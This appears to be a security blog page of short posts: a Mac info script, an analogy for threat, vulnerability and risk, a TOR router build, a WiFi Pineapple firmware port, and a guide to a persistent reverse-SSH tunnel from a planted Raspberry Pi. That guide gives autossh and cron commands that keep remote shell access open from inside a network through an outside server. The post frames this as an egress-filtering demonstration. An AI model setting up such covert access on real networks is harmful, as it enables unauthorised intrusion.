This morning I needed someone who I was helping to provide me some basic information about their Macbook and realized while I knew how to get that information it wasnt all in one easy to digest place so I wrote sysinfo.sh to quickly gather that information:
Here is the code:
https://gist.github.com/jgamblin/aa9a6eda5bce6797ab8394e0c47d3676
You will need to install iStats (gem install iStats) or comment out the lines 9, 10, 12 and 13 to get the script to run properly.
Explaining the difference between a threat, a vulnerability and a risk.
During a recent round of phone interviews while expanding my team at work I was amazed at how many security professionals have a hard time clearly answering the following question:
“What’s the difference between a threat, a vulnerability and a risk?”
I think being able to do so is a key to being a good security professional. I really like to use this analogy to try to help explain these three concepts clearly:
“Close the open door (vulnerability) to stop the bear (threat). If it got in we could get mauled (risk).”
Understanding and applying these three terms is the first step to being able to do great risk analysis and is the only way to effect change in most organizations. The next step is writing risk statements.
But remember doing this exercise is as much for you as it is for who you are trying to secure. It wouldn’t make much sense to use your limited cycles to protect yourself against bears in Dallas, Texas would it?
Persistent Reverse-SSH Tunnel on a RaspberryPi
I have a couple of old Raspberry Pi’s 2 laying around and have been meaning to turn them into “Remote Access Terminals” to demonstrate what happens if you do not do effective egress filtering on your network. At a high level if an attacker can plug in one of these on your network and get internet access they own your network.
Here is a terrible diagram I put together using draw.io to explain:
To set this up you will need the following:
- Public SSH server (I like DigitalOcean for this.)
- RaspberryPi
- Raspian
- AutoSSH
- Screen
- Understanding of SSH Keys
- Understanding of CRON
There are plenty of guides on setting this up so I won’t spend time doing that here. Once you have that complete and are on the pi you can run the the following command:
autossh -M 65500 -o ServerAliveInterval=20 -R 2222:localhost:22 root@digitalocean
Autossh will use ports 65500 and 65501 to send echo data over and back between server and host and open an ssh session on the public server to local port 2222 that will tunnel back to the SSH port on the Pi.
Once that is done you can ssh into your public ssh server and run the following command:
ssh -p 2222 [email protected]
Congratulations you now have a host you can control from the internet on a private network (That you totally have permission to be plugged into, right?).
While this works if the pi is has any problems the tunnel will be gone so we will use a cron job to make sure that it is always up. You can use the following crontab entry that checks if the tunnel is up every minute:
* * * * * pi /usr/bin/screen -S reverse-ssh-tunnel -d -m autossh -M 65500 -i /home/pi/.ssh/id_rsa -o "ServerAliveInterval 20" -o "ServerAliveCountMax 3" -R 2222:localhost:22 root@digitalocean
Reboot the Pi to test and you should be good to go.
NetAidKit on a GL-inet 6416
I have been playing with the GL.inet hardware lately and stumbled upon this project called NetAidKit that is built on the $25 6416 platform that offers a purpose built TOR and VPN router.
After building the images using the instructions on their github page (here is the one I built if you trust me) all you have to do is upload it and reboot and you are in business:
The TOR feature worked flawlessly:
The VPN still needs a lot of work as it expects certificate based authentication and every VPN I use still uses username and password authentication so I was disappointed I didn’t get to try it out.
Over all this is an amazing project with a great idea and lots of potential. I will be carrying a netaidkit with me from now on even if it just to use with TOR.
Turning a $25 GL-AR150 into a $100 WifiPineapple
My friend Steve Lord recently introduced me to ultra portable GL-inet routers. I picked up the $25 GL-AR150 to hack around on.
One of the first things I noticed while reading through their blog was that the hardware was the same as the wifipineapple nano and someone had already ported the firmware to work on the AR150.
Updating the firmware is as simple as logging in and uploading this file. Once you do it is as simple as logging in and setting it up: 
Here is are a couple of good guides on how to configure it:
The WiFi Pineapple Mark V – Introduction and Setup
WiFi Nano Setup
I plan on using this to do some continual AP and client monitoring around my house.
I have a few more projects on this platform that I will be posting about soon.